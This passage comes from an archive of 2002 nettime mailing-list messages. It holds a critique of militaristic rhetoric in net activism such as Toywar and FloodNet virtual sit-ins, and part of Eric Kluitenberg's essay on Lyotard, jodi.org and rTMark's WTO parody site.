anti-corporate. That's something people don't\n> understand. We are an overdrive corporation with\n> surreal goals. We sell nothing except ourselves. We\n> don't promise any revenue, except excitement and maybe\n> a little bit of confusion.'\n>\n> Etoy sells itself, it barters its image. As Geri\n> Wittig remarked to etoy in an interview, 'Your look\n> and your stance exudes a very stylish, militaristic\n> quick response tactic.' This stylish militarism also\n> depends on wearing the same uniform, looking alike,\n> and giving the impression of the interchangeability of\n> toy soldiers (or members of a gang).  As Etoy\n> confessed, 'it makes it impossible for women to enter\n> the group, or for black people to enter the group,\n> because it would destroy the concept' of its\n> uniformity. The Toywar campaign helped to boost sales\n> not only of etoy.shares, but of the image of\n> subversion which was on demand by an increasingly\n> large consumer public: 'we give about five interviews\n> a day in America at the moment.' After the victory,\n> the toywar.shop became more specialized, selling not\n> only standard etoy.shares, but offering the consumer\n> the option to 'customize your purchase' by adding\n> 'T-SHIRTS and CD'S to your basket.' CDs were a bargain\n> at $20.  'please check the amount of articles as well\n> as the total amount in USD before the final\n> submission.'\n>\n> The many support sites that sprang up during Toywar\n> capitalized on an incredibly puerile image of warfare,\n> an image capable of seducing only adolescent boys,\n> even if its target audience proved to be older. The\n> Toywar UK site under the direction of 'Captain\n> Smithers' launched its own internet offensive against\n> eToys as a sign of support. The site featured e*bombs\n> in the forms of alternative news service and mailing\n> lists. 'The e*bomb blast radius was global and it\n> rendered eToys.com powerless. VIVA la e*bomb!\n> Thousands of friendly fire e*bombs detonated, and no\n> one hurt! Pure 21st century FIRE POWER!' In this\n> postmodern fantasy of revolution the jargon of\n> righteous war has become more timid and cautious,\n> eliminating the risk of action through a detour of\n> rhetoric, bowing, in the end, to political\n> correctness.\n>\n> The image of war is sexy not just in the popular\n> imaginary of television, but among the more refined\n> tastes of the militant left and the radical art crowd.\n> The indiscriminate forms of its rhetoric and gestures\n> are legion, though the mask as a symbol of the\n> terrorist or the guerilla stands out as one of the new\n> trends of identification, from the multitude who\n> gather in the street borrowing the checkered mask of a\n> Palestinian holy war, to RTMark, who don the pantyhose\n> of the bank robber in their videos, and Ricardo\n> Dominguez who performs the story of electronic civil\n> disobedience in an EZLN mask, as a gesture of\n> identification with the cause of the Zapatistas. The\n> context of the performances are to evoke the\n> Zapatistas' Mayan technology which differentiates\n> their tactics (offering a rose or a poem or an\n> unanswerable gesture as an answer to military power)\n> from those of guerilla struggle of the twentieth\n> century. The Zapatistas say they use masks so that\n> people won't be beguiled by their beauty but pay\n> attention to the power of their words.  But in this\n> EDT performance, it is the power of the words that\n> speak of the different form of struggle of the\n> Zapatistas that is obscured as the audience identifies\n> with the image of the mask. The mask is the identity,\n> the words are secondary, and the identity of the mask\n> is prefigured in advance by the associations it has in\n> the contemporary stage of the media.\n>\n> The media spectacle needs a boogey of opposition to\n> the righteous war of democracy and the right to\n> consume, and after the collapse of the big other of\n> 'Eastern Europe,' the image of a man dressed in black\n> wearing a mask has now become the mass medias perfect\n> fantasy, the face against which it can define its own\n> values. Whatever may be behind the mask of the\n> militant, the media will capitalize upon it in reverse\n> for the sake of the ideology it serves. Making a\n> fetish of the image of the terrorist or guerilla has\n> become both pious and stupid, even in the\n> aestheticized form of the avant-gardes, as the\n> theatricalization of some nameless revolution. The\n> identification with the logic of warfare was always\n> the worst militant aspect of the avant-gardes.  If,\n> the avant-gardes were a momentary instantiation of a\n> great promise, speaking in a different language\n> outside the banality of organized politics, they were\n> simultaneously the ridiculous quarrels over names and\n> concepts, vicious arguments about ideological\n> correctness, exclusions of deviations, puerile antics,\n> and the inflated machismo of warfare. The desire to\n> proclaim the avant-garde an unfinished project -\n> something triumphant that still lives and inevitably\n> returns to fulfill a secret history - preserves all\n> these characteristics. Above all, it preserves the\n> militarism inherent in the metaphor of the\n> 'avant-garde' - the avant-garde as an elite group,\n> organized by strict military discipline, going out\n> first and paving the way for the attack, perhaps\n> sacrificing itself in the end so the army can finally\n> advance the cause of its righteous war.  If this\n> metaphor started out as a blank parody, it became real\n> with the march of history. The avant-gardes, for all\n> their dress rehearsals and posturings became, in their\n> relations to each other and to the opponent they\n> claimed to despise, nothing more than the magical face\n> of the double, its inverted mirror. Drawing upon their\n> strategies, conceptual tools, and tactics of\n> intervention summons not the specter haunting a new\n> epoch, but a corpse in absolute decomposition.\n>\n> Someone once said a long time ago 'The most urgent\n> expression of freedom is the destruction of idols,\n> especially when they claim to speak in the name of\n> freedom.' It is true that the destruction of idols\n> itself can speak in the name of a freedom that is just\n> as illusory, including the destructions of the\n> present. But the wisdom of silence is the most\n> difficult thing to attain, since it does not reveal\n> itself in the image of consumption.\n>\n>  < opposition >\n>\n> Electronic civil disobedience is neither terrorism nor\n> acts of cultural jamming, detournement, or media\n> pranks. CAE define the manipulation of the media in\n> the service of an alternative message as a losing\n> battle; any subversive message is lost in the flood of\n> information or is itself detourned through spin. If\n> there is such a thing as infowar, maybe it should be\n> understood as the war against information rather than\n> a war of counter-information. Denying the power of\n> propaganda, CAE praise the effectiveness of a direct\n> battle with power.  Simple trespass and blockage of\n> data and their conduits can force the state or the\n> military or corporations to make policy changes\n> because it may prove cheaper for them than the threat\n> of the loss of profits from information. As people\n> joined together to physically blockade the entrances\n> to the opponent's house of power in earlier forms of\n> civil disobedience, participants in electronic civil\n> disobedience can join a virtual sit-in from anywhere\n> there is access to the internet in order to block\n> access to the opponent's website. If the promise of\n> ECD remained a theory until 1998 for CAE, the faction\n> of the group which took the name Electronic\n> Disturbance Theater actualized it in the form of\n> FloodNet, a software which sends reload commands to\n> the targeted site's server every few seconds. When\n> enough participants are simultaneously pointing the\n> FloodNet URL toward an opponent's site <Mexican\n> government, Pentagon, Frankfurt Stock Exchange, eToys,\n> EMF> a critical mass of users can prevent access to\n> the site because there are too many requests to be\n> accommodated - in theory, at least, since these kinds\n> of sites can sustain millions of hits without a\n> problem.\n>\n> But is the direct intervention of ECD about bringing\n> power to the bargaining table and getting concessions\n> in the form of policy change? If the aim were simple\n> trespass and blockage, a single hack would be more\n> efficient in bringing down a server and blocking\n> information. The point of the virtual sit-ins is to\n> get across how widespread the protest is rather than\n> the denial of access to data or their conduits. The\n> aim seems to be not trespass and blockage but gaining\n> a critical mass. A policy negotiation is a closed\n> form, an exchange of threats between a vanguard of\n> activists and the functionaries of power; the form and\n> effect of a virtual sit-in is something very different\n> - a kind of contagion, a movement of outward\n> expansion, the feeling of participating in something,\n> even though its contours may be vague. And this vague\n> feeling of participating in something that escapes the\n> dialectic of global capital is often hijacked by being\n> turned into the declaration of a war of opposition.\n>\n> When the 'multitude' come together in a virtual-sit-in\n> <in opposition to one or another particular website>\n> or on the street in a show of power against the forces\n> of capitalism, they don't escape its dialectic. The\n> form assumed by the association and linkage of\n> individuals is based and mediated by the cause it is\n> opposing, rather than on the desires and aspirations\n> of the participants, and on their interests in each\n> other. To subordinate the process of fusion to the\n> goal of a coalition - driven by a single cause, one\n> that is negative, directed against conquering some\n> small concessions from power - is not a collaborative\n> construction of a new form of being, as much as it is\n> a formal repetition of a cycle of enslavement and\n> retribution. Opposition misses the mark, though it is\n> very successful in the media. When tactical media seek\n> to smash the code, to disrupt the seamless surface of\n> digital mediation, of corporate power, of whatever\n> abstract form the boogey of opposition takes, they are\n> determined by their enemy. They oppose the false,\n> ideological shell of their enemy with\n> counter-statements made from a counter-perspective - a\n> perspective they never question, because it is\n> self-evident.  The energy and source of their\n> self-valuation derives from their act of negation.\n> Negation can be a splendid thing, a source of\n> exhilaration and an experience of increased power, as\n> the limits imposed artificially on the self by the\n> myriad forms of micro-oppressions are temporarily\n> transcended, transgressed. But this is a potentially\n> endless cycle of negation ad infinitum, unto death;\n> the satisfaction of negation is only temporary, its\n> hunger renewed again.\n>\n> The coalition of activists who swarm through the\n> network may not be the best form for constructing a\n> new entity in fusion; support for a cause, especially\n> in the form of opposition to an abstract enemy, is\n> easy to get for a few hours online and requires little\n> commitment, but a collaboration based on trust and\n> reciprocal interest in other people is more difficult.\n> This kind of collaboration works best in an encounter\n> that doesn't measure success in terms of numbers,\n> speed, or the corporate logic of the network society,\n> which always subordinates the present to the demand\n> for a future goal and profit. Last year a number of\n> individuals and small groups came together <including\n> Ricardo Dominguez, who did not come as a\n> representative of EDT> to try to establish a loose\n> form of association between different net.culture\n> clubs and media centers. This association was not a\n> coalition, because there was no common goal or\n> interest or ideological uniformity among participants\n> from the different regions - Europe, east and west,\n> America, north and south - and because there was no\n> overall plan which could be imparted to different\n> 'sections' of some would-be international.  One of the\n> criticisms this meeting received was that the thing in\n> fusion it invoked had no real cause for being, that it\n> lacked a definitive reason for making the association\n> in the first place, other than some vague aspiration\n> to share what each group had in resources and\n> experience with each other or a seemingly banal desire\n> to travel and meet with others to participate in and\n> learn about the process each had started in their own\n> location. The absence of a cause can sometimes be the\n> shadow of catastrophe or the promise of liberation.\n>\n> < 0 >\n>\n> In a correspondence that was neither private nor\n> public, Sebastian Luetgert wrote 'it is the network -\n> not empire - that is materializing before our very own\n> eyes, and the multitudes are part of it. their only\n> threat to the regimes of control is that they will be\n> their mirror . . . the enemy of the network is not the\n> activist, but the passivist. passivists don't surf:\n> they have learned to wait, and they know that when\n> crossing a desert there is no need for a powerbook, a\n> gps phone or a press tent.' But maybe this is a false\n> dilemma, the swing of a pendulum across the clockface\n> of dead time. The activist in its familiar militant\n> pose is a creature that should be abandoned to a\n> museum of relics - the activist determined by a war\n> against an oppressive power, engaged in a fight which\n> consumes all his energy in reverse, convinced of the\n> absolute virtue of his cause and of the correctness of\n> his theory <a theory correct in inverse proportion to\n> its practice> and, since possessing the correct ideas,\n> endowed with the supreme calling of teaching them to\n> others, especially to those who have not had the\n> privilege of being schooled in the classroom of\n> advanced capitalism. But invoking the passivist risks\n> being construed for a celebration of the silent\n> majority of consumers, secretly active in their\n> absolute stasis. There are forms of action that are\n> neither activist nor passivist. Somewhere, where the\n> location is unimportant, there's a group of people who\n> started a club <social center is not the right word,\n> but sometimes the search for names is also\n> unimportant> not out of a desire to be in opposition\n> to any of the dominant art or cultural institutions,\n> but because they wanted to create a scene that did not\n> yet exist. While inside, everyone uses a form invented\n> currency. Some members of the group who are graphic\n> designers make posters for restaurants and bars in\n> town in exchange for free vouchers so they have places\n> to take their friends. They don't make any claims to\n> the space they have in their own name but invite\n> others to take temporary possession of it: artists,\n> musicians, some local people from a half-way house for\n> those considered mentally ill, even political\n> theorists and sociologists. They make a lot of\n> actions, but when added together their sum is not\n> activism. No theory is constructed, no manifesto\n> written that proclaims this form of life as the model\n> of the coming revolution. There is no gospel and no\n> disciples. The critics of the institutionalized left\n> might perhaps snicker at this flimsy example,\n> concluding that it changes absolutely nothing, that it\n> will not 'overthrow' capitalism <overthrow = desire to\n> rule, to become master>, that it doesn't conform to\n> their vision of utopia <utopia = waiting until the\n> conditions are ripe, negating the present in\n> anticipation of a future whose past has already been\n> glimpsed>.\n>\n> Zhivago once fled with his lover to the interminable\n> snow plains across the barren landscape of\n> revolutionary Russia. Reaching a place that most\n> resembled the center of nowhere, they stopped. The\n> Bolshevik police followed on their heels, moving at a\n> different speed, chasing a desire that escaped their\n> comprehension. They knocked at the door, asking, what\n> is your agenda, what are you plotting against us, what\n> do you plan to do here? Live, he answered, just live.\n> If understood slowly, this is not the fatality of\n> hopelessness or a sign of passive acquiescence in the\n> face of an obscene demand. And if it is an\n> insurrection, it is not the insurrection proclaimed\n> loudly on the center stage of capital cities whose\n> success is measured by how many times the police beats\n> it to the ground. Knowing when to disappear, it does\n> not ask to be represented. Although there are many who\n> live it today, outside the speed of the media\n> spectacle, their names would only be invoked in vain,\n> as the idols of yet another manifesto thrown on the\n> rubble-heap of history.\n>\n> Dialectics never died. It lives every time another\n> tired exhibit of the relics of dada or situationism\n> opens at the houses of culture across the world. It\n> lives when the hackers who haunt the net repeat the\n> slogans and gestures of the dead and then congratulate\n> themselves when they are finally inducted into the\n> halls of power of the Venice Biennale or Ars\n> Electronica. It lives when the theorists and\n> cartographers of new deterritorialized flows of desire\n> sell their interests by entering a classroom to become\n> functionaries of the empire of production, offering\n> packaged knowledge to students who eagerly produce\n> whatever stupidity is asked of them in exchange for\n> the general equivalent of a grade. It lives when the\n> anti-globalization 'multitude' faithfully ascend to\n> the stage of negation to recite their memorized roles,\n> proudly displaying the garments of an ideology that\n> long ago betrayed its exhaustion.  Dialectics consumes\n> the desire of life as it beats its wings against the\n> limits of the impossible. As Tzara once said,\n> dialectics kills - it lives by producing corpses,\n> which lie strewn across an empty field where the wind\n> has ceased to blow.  The field only reveals its own\n> folly and despair; and victory is the illusion of\n> philosophers and fools.\n>\n>\n>\n> __________________________________________________\n> Do You Yahoo!?\n> Yahoo! Sports - live college hoops coverage\n> http://sports.yahoo.com/\n>\n> #  distributed via <nettime>: no commercial use without permission\n> #  <nettime> is a moderated mailing list for net criticism,\n> #  collaborative text filtering and cultural politics of the nets\n> #  more info: majordomo@bbs.thing.net and \"info nettime-l\" in the msg body\n> #  archive: http://www.nettime.org contact: nettime@bbs.thing.net\n>\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "date": "Wed, 20 Mar 2002 14:11:23 +0100",
                "to": "<nettime-l@bbs.thing.net>, \"duna maver\" <dunamaver@yahoo.com>",
                "message-id": "004301c1d010$bc9c5260$4601010a@hom",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0203/msg00489.html",
                "list": "nettime_bold",
                "author_name": "K\u00e1roly T\u00f3th",
                "subject": "[Nettime-bold] Re: <nettime> avant.garde - transfigured or dead?"
            },
            {
                "content-type": "text/plai",
                "from": "Eric Kluitenberg <epk {AT} xs4all.nl>",
                "id": "00104",
                "content": "\ndear <nettimers>,\n\nThis text is the result of a series of lectures in Prague, Warsaw, Moscow\nand Gothenburg. The text arose out of a necessity I felt to rephrase,\nunderscore and expand a set of ideas previously circulated in a text\ncalled \"Smash the Surface / ...\". Some of the material presented there\nreappears here, but quite dramatically transformed and reframed. I was\nasked by the editors of the Swedish cultural journal Glaenta to rework the\nlecture material in an essay, which you find here. It will be published in\nSwedish translation there. I hope some of you will like this material.\n\nbest,\neric\n\n__________________________\n\n\nTransfiguration of the Avant-Garde\n\t---\nThe Negative Dialectics of the Net\n\nBy Eric Kluitenberg\n\n\nIn his essay \"Presenting the Unpresentable: The Sublime\", the French\nphilosopher Jean-Fran\u00e7ois Lyotard observes that Capitalism, the\nTechno-Sciences and the Pictorial Avant-Garde of the twentieth century\nshare an 'affinity to infinity'. All three point towards a sensibility\nthat is constitutive for the experience of the modern world.\n\nLyotard is well known for having coined the term 'postmodern' for a\ncertain diagnosis of the social conditions of the advanced capitalist\nsocieties. His work fascinates because of the intersection it creates\nbetween contemporary aesthetics, the avant-garde (especially in the visual\narts), and their relationship to the seemingly separate areas of the\ntechnosciences and advanced capitalism.\n\nParadoxically, however, the position he takes vis-\u0155-vis the new\ntechnologies, and especially the process of digitalisation, is stifling\nfor a debate about a critical engagement with these technologies. His\nposition denies the possibility of critical artistic and cultural activity\nin the realm of digital mediation, exactly at a point where his reading of\nthe avantgarde could play a tremendously productive role: in a further\nexploration of this affinity to infinity that not only informs the\navant-garde, the techno sciences and advanced capitalism, but that can\nalso be recognised in the rise of what sociologist Manuel Castells has\ncalled the network society\n\nLyotard's exploration starts with the assertion of the 'impossibility' of\npainting. So this is where I will start to consider his argument.\n\n\nInfinity\n\nFor Lyotard painting's impossibility results from the arrival of\nphotography, which makes painting economically unsustainable, whilst\nphotography itself, and the act of image making falls prone to the\ninfinity of the capitalist production / consumption cycle.\n\nHe writes: \"Something 'too beautiful' is inherent in the perfectly\nprogrammed beauty of the photograph: an infinity; not the indeterminacy of\nfeeling, but the infinite ability of science, of technology, of capital to\nrealise. The ability of machines to function is, by principle, subject to\nobsolescence, because the accomplishments of the most esteemed capitalists\ndemand the perpetual reformulation of merchandise and the creation of new\nmarkets. The hardness of industrial beauty contains the infinity of\ntechno-scientific and economic reasons.\n\n\nThe destruction of experience that this implies is not simply due to the\nintroduction of that which is \"well-conceived\" into the field of\naesthetics. Science, technology, and capital, in spite of their\nmatter-of-fact approach, are also modes of making concrete the infinity of\nideas. Knowing all, being capable of all, having all, are their horizons -\nand horizons extend to infinity. The ready-made in the techno-sciences\npresents itself as a potential for infinite production, and so does the\nphotograph.\n\nThe pictorial avant-garde responded to painting's \"impossibility\" by\nengaging in research centred around the question, \"What is painting?\" One\nafter another previous assumptions about the painter's practice were put\non trial and debated. Tonality, linear perspective, the rendering of\nvalues, the frame, the format, the supports, surface, medium, instrument,\nplace of exhibition, and many other presuppositions were questioned\nplastically by the various avant-gardes.\" [1]\n\nThe great transformation in the act of image making that the avant-gardes\nintroduce according to Lyotard is not so much their insistence on constant\ntransformation of the visual field. These transformations perform a highly\nspecific function, they all point towards the fact that any convention of\nimage making not only presents a specific possibility of giving order to\nthe visual field, but that it simultaneously conceals the infinity of\npossible alternative modes of ordering that visual field. This infinity of\nalternate visual modes is necessarily absent from the image as it remains\nunrepresentable. It is, however, referred to indirectly by the denial of a\ndefinite visual order of things.\n\nAnd Lyotard asserts: \"The avant-garde painter feels an overriding\nresponsibility to the fulfilment of the imperative implied by the\nquestion, 'What is painting?'. Essentially what is at stake is the\ndemonstration of the invisible in the visual.\" [2]\n\n\nEntering the realm of the negative sign...\n\nThe avant-garde painters engaged in a negative dialectic of the image - a\ncontinuous invention of visual modes that challenge and negate previous\npropositions of what an appropriate image looks like. This process of the\nnegation of dominant artistic conventions can be illustrated with some\nclassic examples of avant-garde interventions:\n\n- Cubism; breaking up the unified perspective.\n\nIn the cubist painting the object represented is shown from different\nviewing angles simultaneously, thus alluding consciously to the artificial\nconstraints of the two-dimensional surface of the canvas, and\nacknowledging the fact that the eye only perceives when it is in constant\nmotion. The cubists understood that therefore visual perception always\nrests on the combination of a multitude of images received from different\nviewing angles, even when the eye is firmly fixed on a certain object.\nWith their multidimensional perspective the cubists denied the validity of\nlinear perspective (as it is programmed in the photographic machine), as\nthe 'correct' representation of the world in visual terms.\n\n- Simultaneity; breaking the unity of time.\n\nThe beautiful image of Giacomo Balla \"Dynamism of a dog on the line\" of\n1912 perfectly illustrates the point. Rather than showing only one moment\nfrozen in time, the image represents a series of moments in one image -\nthe paws of the dog moving swiftly as he tries to keep track with the\nelegant lady walking the dog. Frantisek Kupka had started introducing this\nprinciple of simultaneity to painting, inspired by the chronophotography\nof Etienne Jules Marey. And of course Duchamp's famous \"Nude descending a\nstaircase\" further imprinted this visual principle upon the public\nconsciousness. Here the arbitrary nature of the frozen image, as opposed\nto the constant flux of life processes, is acknowledged and revealed. We\nknow from historical sources that the experiments with photographing\nanimal motion revealed that their traditional representation in 'realist'\npainting and sculpture was but a convention.\n\n- Abstraction; breaking away from figuration\n\nThis case is all too obvious, looking back from a contemporary point of\nview. With the acceptance of abstraction, painting shed its last ties to\nan illusionist mode of representation. Rather than representing a specific\noutside reality beyond the painting itself, it could now become an\ninverted symbol for the infinity of the visual and the infinity of ideas.\n\n\nIn the end the process of negation of dominant visual languages even\nabolished the image itself. Emblematically, in the case of the black\nsquare of Malevich. Here the image has become a non-image: Devoid of\nshape, colour, texture or representation the painting had become a\nnegative sign; an inverted sign for the absence of the image. But this\nabsence did not point towards the impossibility of image production as\nsuch. Rather it had become a negative sign for the unrepresentable\ninfinity of possible modes of visual invention, or what Lyotard describes\nas \"the infinity of plastic invention\".\n\nThus Lyotard concludes that the avant-garde painters introduced painting\ninto the field opened by the aesthetic of the sublime. In the Kantian\nformula an \"Un-Form\", something that cannot be synthesised into a unique\nform in space and time, as (by no coincidence), the concept of infinity.\n\n\nThe immaterials / Les Immat\u00e9riaux\n\nIn 1985 Lyotard was responsible, together with Thierry Chaput director of\nthe Centre de Creation Industrielle for the concept and realisation of a\nground breaking exhibit called Les Immat\u00e9riaux - roughly translated as\n\"The Immaterials\". What Les Immat\u00e9riaux tried to do was to highlight and\nintensify a sensibility about the things in our immediate surroundings\nthat are changing because of the fact of the new materials and new\nconceptions of reality that derive from technoscientific enquiry.\n\n\nIn the press-release for \"Les Immaterieux\" of January 8, 1985 he states:\n\n \"Why 'Immaterials' ? Research and development in the techno-sciences, art\nand technology, yes even in politics, give the impression that reality,\nwhatever it may be, becomes increasingly intangible, that it can never be\ncontrolled directly - they give the impression of a complexity of things.\n(...) The devices themselves are also becoming more complex. One step was\nset as their artificial brains started to work with digital data; with\ndata that have no analogy to their origin. It is as if a filter has been\nplaced between us and the things, a screen of numbers. (...) A colour, a\nsound, a substance, a pain, or a star return to us as digits in schemes of\nutmost precision. With the encoding and decoding-systems we learn that\nthere are realities that are in a new way intangible. The good old matter\nitself comes to us in the end as something which has been dissolved and\nreconstructed into complex formulas. Reality consists of elements,\norganised by structural rules (matrixes) in no longer human measures of\nspace and time.\"\n\nTechnoscientifc enquiry thus testifies to the infinite malleability of the\nconcept of reality. Reality according to Lyotard first of all consists of\nthe messages that we receive about it. But these messages increasingly are\nmediated by ever more complex machines. Digitalisation introduces a final\nlevel of abstraction into this process, by imposing a finite scheme of\nencoding that translates all messages into one abstract universal code,\nthe digital code; a code without an analogy to its origin.\n\n\"The model of Language replaces the model of matter\", Lyotard asserts, and\nwith it the concept of reality becomes as malleable as language itself.\n\n\nCritical Arts in the Age of Total Media Incorporation\n\nThe capitalist commodification of everything includes the domain of\nbeauty, and even that of those monstrous negative non-entities that used\nto be the exclusive terrain of the avant-garde. Long since have these\nnegative modes of representation been identified as marketing tools to\nprovide access to fringe and niche markets. They have become a capacity of\ndistinction and a possibility for identification for those market segments\nthat the aesthetics of beauty tends to exclude. Aesthetics, both in its\npositive forms as well as its negative manifestations, thus has become\npart of the infinite quest for new markets that is ingrained in the very\nheart of the capitalist logic.\n\nFor Lyotard digitalisation marks the final incorporation of experience in\na finite scheme of coding - the digital matrix. With it experience is\ntrapped in the system of technoscientific logic and its infinite quest to\ntransform the concept of reality. Within technoscientific logic, the world\nis translated into a problem as coding, as Donna Haraway puts it, and made\nentirely subject to the functional demands of scientific enquiry and the\nadvanced forms of informational capitalism. Within the system of digital\nmediation escape from this defining logic is no longer possible,\nincorporation is complete.\n\nAgainst this view I would like to propose a completely opposite analysis\nof digital mediation. The system of digital mediation, and in particular\nthe sphere of networked digital communication, presents itself as a highly\nproductive domain for critical strategies and artistic intervention.\nInterestingly, it is the legacy of the avant-gardes of the last century\nthat provides an enormously useful set of conceptual tools and references\nto develop a critical engagement with the conditions of digital mediation.\nThe context these avantgarde strategies are played out in is, however,\nradically transformed. It takes these strategies far beyond the sanctified\nrealm of the arts.\n\n\nThe Negative Screen\n\nThe screen of global media presents itself as a seamless surface; be\nconnected wherever you go, see whatever happens anywhere, and all this in\nreal-time. It is the dreamed image of global mediation. The industrial\nmodel of broadcast media, television and radio, in the age of digital\nmedia is diversified to fine-tune the media offerings to ever more precise\nmarket segmentations. The clean and seamless surface is the mythological\nimage of the networked media age. In the ideology of its protagonists it\nshould remain unchallenged, inviolable. The mechanisms directing this\npermanent electronic enactment of the world remain well out of sight,\ndeliberately hidden beneath the illusionary surface of the screen.\n\nThe absolute horror of the media professional is the interrupted\nbroadcast. In the TV format it is sometimes witnessed in an ultimately\nbrief interval as a traumatic black screen - the moment when the signal\ndrops away, when the spectacle suddenly turns into a black square,\nironically reminiscent of Malevich's sign of the infinite.  In radio the\ndespair of silence is even greater than the absence of the image on TV.  \nHorror Vacui is replaced here by an electronic form of Horror Silentiae.\nThe silence of the faded radio signal and the blackness of the imploded TV\nscreen do not merely mark the absence of a signal. The horror implied is\nthe immanent destruction of the illusion of the seamless media surface,\nwhich requires the continuous suggestion of immediacy and connection that\ngives the viewer the reassuring impression of the transparency of the\nmedia screen.\n\nIt is the moment when this flow is interrupted, when the code is broken,\nor when the sound has collapsed and the screen has extinguished, that the\npossibility for an alternative message, a new code is created. This is the\nspace of negation: The void created by the rupture is the open field in\nwhich a new synthesis of unique forms in space and time becomes possible.\nThe emergence of the new code out of the void of the Horror Silentiae\nreconfirms the connection of the media subject to the world. It is in this\nmoment of delight over the conquered threat of the end of existence /\nconnection that the avantgardes can come into play and transform the\nmeaning of the media codes.\n\nThe strategies, the conceptual tools, the tactics of intervention in the\nnew digital hypersphere are highly familiar. They draw on the legacy and\nexperience of the avant-garde movements. Indeed many of the interventions\nthat have been most successful in engaging the new conditions of digital\nmediation have been artistic interventions. But something has dramatically\nchanged; the object these interventions engage is no longer the aesthetic\nframework of contemporary art, not the holy concept of the author, nor the\nartist genius, or the canonised conventions of artistic creation. What is\nchallenged is the seamless surface of the networked media spectacle\nitself, and its illusion of stability. The negative dialectics of the\ndigital avant-garde no longer challenge the notions of art, but those of\nthe by nature symbolical digital realm it operates in, and its inherent\ninstability.\n\n\nThe Aesthetics of Impropriety\n\nThe pure and simple disruption of media signals is an obvious strategy of\nchallenging the dominant media codes, but it is not a very interesting\none. The disruption of the appropriate flow of media signals is only the\nentry-point for an alternative discourse, nothing more.\n\nThe transference of the classical avant-garde's negative dialectics of the\nimage to the networked media screen has been executed most\nparadigmatically by the artists duo jodi.org3. In their now famous web\nsite they have been creating incomprehensible, yet highly poetic and\nevocative visual and sometimes auditory processes that seem to reverse the\nhierarchy of the professional media screen.\n\nAll sense of connection is lost, intelligibility is gone. Instead of\nconventional presentation of printed page type lay-outs with a mediocre\namalgamation of pseudo-moving imagery, supported by lengthy invisible sets\nof code, at jodi.org the screen is in constant flux and sometimes sudden\nstasis. There is no clear relationship between action of the viewer and\nresponse by the system. Sometimes the page halts, but we don't understand\nwhy, then again the screen suddenly changes but we are left clueless why\nthis happened, and why at this particular moment. Continuously the screen\nis strewn with codes that can sometimes be recognised as fragments of\ndisjunct html coding, sometimes as meaningless ascii garbage and sometimes\njust sheer incomprehensible and meaningless codes.\n\nThe artists often received the question, \"what is this all about??\", to\nwhich there is no answer. The imagery and processes the viewer witnesses\nupon entering the site are deliberately 'inappropriate'. Their ambiguous\nand incomprehensible nature refers to the virtually inexhaustible array of\npossible modes of representation in the digital hypersphere. Jodi.org\noften seeks out the mistakes in the software. A careful analysis of new\nmainstream software products reveals where the bugs are, and these\nmistakes, that may cause delay, flimmering screens, erratic movement or\ninfinite repeat-loops, are immediately transformed into aesthetic\nmaterial. These 'mistakes' then become not the disruption of a code, but\nthe essence of the new code that jodi.org replaces the conventional ones\nfor. In short what Jodi.org creates is a set of negative signs that point\ntowards the infinity of alternative codes of writing and reading networked\nmedia.\n\nThe impressive Wrong-Browser project [4] makes this point even clearer.\nHere we are presented with a set of browsers that read html code and\nprocess them as abstract datastructures, represented in a highly colourful\naesthetic language which is programmed in the browser-software. The\nbrowser becomes a subjective machine for aesthetic processing, the\noutcomes of which are defined by the contestational logic of its program\ncodes.\n\n\nA Case of Mistaken Indentity...\n\nThe US-based art collective (r)TMark employed quite a different strategy,\nbut one that reveals the vulnerability of the web based representational\nsystems more dramatically. In 1999 during the anti-WTO / G8 protests in\nSeattle rTMark produced a web site which has since become well known in\nnet.art and net-culture circles. The site www.gatt.org was named after the\nGeneral Agreement on Tariffs and Trade, one of the early global trade\nliberalisation treaties that many of the protestors on the street were\ncontesting.\n\nAt first glance the gatt.org site looked very much like the official web\nsite of the World Trade Organisation ( http://www.wto.org ). No surprise\nsince rTMark had simply copied the entire lay-out, graphics and pictures\nfrom the original WTO site for its own, including the welcoming word of\nthe WTO director Mike Moore and his picture. The text is however entirely\nreversed. Where the original WTO site sings the benefits of trade\nliberalisation and global free trade, the gatt.org site laments the\ndestruction of democratic politics and the lack of social and\nenvironmental responsibility that informs the trade liberalisation\nnegotiations. The section with policy documents of the WTO site is\nmeanwhile replaced with counter documents of many of the social and\necological movements and groups protesting at the time in the streets of\nSeattle.\n\nThis would have probably gone more or less unnoticed, had the WTO not\nattempted to intervene in the publication of the gatt.org web site.\nInfuriated by this case of, in the WTO's view, illegitimate appropriation\nof their corporate image, they issued a warning on their site warning the\npublic about a fake and misleading web site \"purporting to be the official\nweb site of the World Trade Organisation\". The site \"compromised\ntransparency\" of the WTO and its efforts to make policy documents publicly\navailable via their web site.\n\nOf course the warning was quickly adopted in the gatt.org site, now\nclaiming the WTO site to be illegitimate. This continued in a cat and\nmouse game that resulted in the WTO issuing an official press release\ndenouncing the attack on the \"organisation's transparency\" by a fringe art\ngroup. With this press release the site hack became world news and\nattracted millions of visitors to the gatt.org web site.\n\nStrangely, the story did not end there. After the attention for the\nstruggle about the appropriated site died down, and the WTO decided to\nchange the entire lay-out of its web site, the gatt.org seemed to lead a\nquite life as an archived document of a curious artistic intervention in\nnetworked global politics. However, after some time the rTMark collective\nstarted receiving e-mails from visitors to the gatt.org site that\nindicated that these visitors were still under the impression of visiting\nthe WTO site, despite the notably different content of the messages on the\nsite. These e-mails included invitations to high-level international trade\nconferences as official representatives of the World Trade Organisation.\n\nrTMark adopted an alternate guise (\"The Yesmen\") to respond to these\nfriendly invitations, and accepted a limited number of invitations by\nactually going to these conferences to lecture, posing as an official\nrepresentative of the World Trade Organisation. One of the most hilarious\nof these site-specific performances is the lecture given at an\ninternational textile producers conference in Tampere, Finland. The action\nis extensively documented on the \"theyesmen.org\" site. [5] In this lecture\none of the artists first gives a totally implausible account of\nfree-trade, and then reveals a golden suit that supposedly provides the\nmanager of the future with bodily feedback about productivity in the\nsweatshops they are controlling. Immediate contact with the work-floor is\nprovided by a gigantic inflatable phallus fitted with a videoscreen that\nhas a wireless connection to the sweatshop in real-time - be connected\nwherever you go!\n\nSeamlessly this performance crosses over from the imaginary (the gatt.org\nweb site) to the real (the textile trade conference in Tampere), and back\nto the imaginary (rTMark's sarcastic staged lecture / performance).\nAmazingly the lecture remained totally unchallenged by conference\nparticipants, testifying to the strong belief they put in the fact that\nthey were presented with an actual representative of the WTO. This\nexpectation was built on the 